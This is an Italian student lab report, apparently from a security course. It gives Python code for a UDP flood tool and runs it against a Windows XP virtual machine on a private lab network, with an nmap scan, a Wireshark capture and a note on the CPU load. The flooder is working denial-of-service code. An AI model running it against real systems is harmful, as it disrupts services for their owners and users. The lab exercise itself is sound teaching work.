

S6L3 – Pratica

Esercizio di Programmazione per Hacker

1. Introduzione:

Scrivere un programma in Python che simuli un UDP flood, ovvero l'invio massivo di richieste UDP verso una macchina target che è in ascolto su una porta UDP casuale.

Requisiti del Programma:

1. Input dell'IP Target: Il programma deve richiedere all'utente di inserire l'IP della macchina target.
2. Input della Porta Target: Il programma deve richiedere all'utente di inserire la porta UDP della macchina target.
3. Costruzione del Pacchetto: La grandezza dei pacchetti da inviare deve essere di 1 KB per pacchetto.

Suggerimento: per costruire il pacchetto da 1 KB, potete utilizzare il modulo random per la generazione di byte casuali.

4. Numero di Pacchetti da Inviare: Il programma deve chiedere all'utente quanti pacchetti da 1 KB inviare.

2. Scrittura del Programma

In questo programma importiamo i moduli:

- **socket**: consente la comunicazione di rete.
- **random**: utilizzata per generare dati casuali nel payload dei pacchetti.
- **sys**: serve per terminare il programma in modo controllato (sys.exit).

Viene definita la Funzione (**def udp_flood():**) e successivamente gli Input dell'Utente utilizzando “**.strip**” per la rimozione degli spazi.

Gli errori dell'Utente vengono gestiti da “**except ValueError**” mentre **sys.exit(1)** termina il programma in maniera sicura

Viene creato il socket UDP e si avvia il Ciclo di invio(UDP Flood)

Al termine viene chiuso il modulo socket con **sock.close** e

```
“if __name__ == "__main__":
    udp_flood()”
```

garantisce che la funzione venga eseguita solo se il file è lanciato direttamente.

```
import socket
import random
import sys

def udp_flood():
    try:
        target_ip = input("Inserisci IP target: ").strip()
        target_port = int(input("Inserisci porta UDP target: ").strip())
        packet_count = int(input("Numero di pacchetti da inviare:
").strip())
    except ValueError:
        print("Errore: inserire valori validi.")
        sys.exit(1)

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    packet = random.randbytes(1024)

    print("\nAvvio invio pacchetti UDP...")
    print(f"Target: {target_ip}:{target_port}")
    print(f"Dimensione pacchetto: 1024 byte")
    print(f"Pacchetti totali: {packet_count}\n")

    sent_packets = 0

    for i in range(packet_count):
        sock.sendto(packet, (target_ip, target_port))
        sent_packets += 1
```

```
        print("\nInvio completato.")
        sock.close()

if __name__ == "__main__":
    udp_flood()
```

3. Esecuzione del Programma

Il programma viene effettuato da **Kali Linux ip 192.168.2.100**, il **Target è Windows Xp ip 192.168.2.4**

La porta scelta è la **445**

Considerato che il numero di pacchetti che potrei inviare può essere molto alto, ai fini di questo esercizio di pratica ne invio solo 5

```
(kali㉿kali)-[~]
$ nmap -sS -sU -p80-500 192.168.2.4
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-14 09:36 -0500
Nmap scan report for 192.168.2.4
Host is up (0.00056s latency).
Not shown: 420 open|filtered udp ports (no-response), 419 filtered tcp ports (no-response)
PORT      STATE SERVICE
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
137/udp   open  netbios-ns
MAC Address: 08:00:27:5C:8D:1C (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 6.40 seconds
```

Target: 192.168.2.4:445

Dimensione pacchetto: 1024 byte

Pacchetti totali: 5

Invio completato.

4. Utilizzo di Wireshark

Nella pagina seguente, tramite il software Wireshark monitoro il lancio del programma e vedo i pacchetti inviati (UDP)

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000000	192.168.2.6	239.255.255.250	SSDP	217	M-SEARCH * HTTP/1.1
2	1.015389301	192.168.2.6	239.255.255.250	SSDP	217	M-SEARCH * HTTP/1.1
3	2.031457126	192.168.2.6	239.255.255.250	SSDP	217	M-SEARCH * HTTP/1.1
4	3.047123903	192.168.2.6	239.255.255.250	SSDP	217	M-SEARCH * HTTP/1.1
5	13.303620844	192.168.2.100	192.168.2.4	UDP	1066	35737 - 445 Len=1024
6	13.303671023	192.168.2.100	192.168.2.4	UDP	1066	35737 - 445 Len=1024
7	13.303678544	192.168.2.100	192.168.2.4	UDP	1066	35737 - 445 Len=1024
8	13.303684763	192.168.2.100	192.168.2.4	UDP	1066	35737 - 445 Len=1024
9	13.303706560	192.168.2.100	192.168.2.4	UDP	1066	35737 - 445 Len=1024
10	18.481046093	PCSSystemtec_eb:df:..	PCSSystemtec_5c:8d:..	ARP	42	Who has 192.168.2.4? Tell 192.168.2.100
11	18.482032337	PCSSystemtec_5c:8d:..	PCSSystemtec_eb:df:..	ARP	60	192.168.2.4 is at 08:00:27:5c:8d:1c


```
> Frame 1: Packet, 217 bytes on wire (1736 bits), 217 bytes captured (1736 bits) on ...
> Ethernet II, Src: PCSSystemtec_96:d4:bd (08:00:27:96:d4:bd), Dst: IPv4mcast_7f:ff: (ff:ff:ff:ff:ff:ff)
> Internet Protocol Version 4, Src: 192.168.2.6, Dst: 239.255.255.250
> User Datagram Protocol, Src Port: 61979, Dst Port: 1900
> Simple Service Discovery Protocol
0000  01 00 5e 7f ff fa 08 00 27 96 d4 bd 08 00 45 00 .A....'...E.
0010  00 cb 63 92 00 00 01 11 a2 e7 c9 a8 02 06 ef ff ..c.....'.
0020  ff fa f2 1b 07 6c 06 b7 e3 cf 4d 2d 53 45 41 52 ...l...M-SEAR
0030  43 48 20 2a 20 48 54 54 50 2f 31 2e 31 0d 0a 48 CH * HTT P/1.1 -H
0040  4f 53 54 3a 20 32 33 39 2a 32 35 35 2e 32 35 35 OST: 239.255.
0050  2e 32 35 36 3a 31 39 30 0d 0a 4d 41 4a 3a 20 ,250:190 0 -MAN:
0060  22 73 73 64 70 3a 64 69 73 63 6f 76 65 72 22 6d "ssdp:discover".
0070  0a 4d 58 3a 20 31 0d 0a 53 54 3a 29 75 72 6e 3a .MX: 1 - ST: urn:
0080  64 69 61 6c 2d 60 75 62 74 69 73 63 65 6e dial-mu tiscreen
0090  2d 0f 72 07 3a 73 05 72 76 69 63 65 3a 04 09 01 -org:ser vice:dia
00a0  6c 3a 31 0d 0a 55 53 45 52 2d 41 47 45 44 54 3a l:1 -USE R-AGENT:
00b0  29 47 6f 67 6c 65 20 43 68 72 6f 6d 62 2f 31 Google Chrome/1
00c0  32 36 2e 36 2e 36 34 37 38 2e 31 38 33 20 57 69 26.0.647 8.183 Wi
00d0  6e 64 6f 77 73 0d 0a 0d 0a ndows...
```

5. Task Manager di Windows Xp

Qualora il numero di Pacchetti fosse del numero giusto per sforzare la CPU del Pc Target, l'attacco manderebbe la macchina in blocco.

Nella pagina successiva viene mostrata l'immagine del Task Manager con un utilizzo della CPU all'83%, dato dall'invio di un numero X di pacchetti

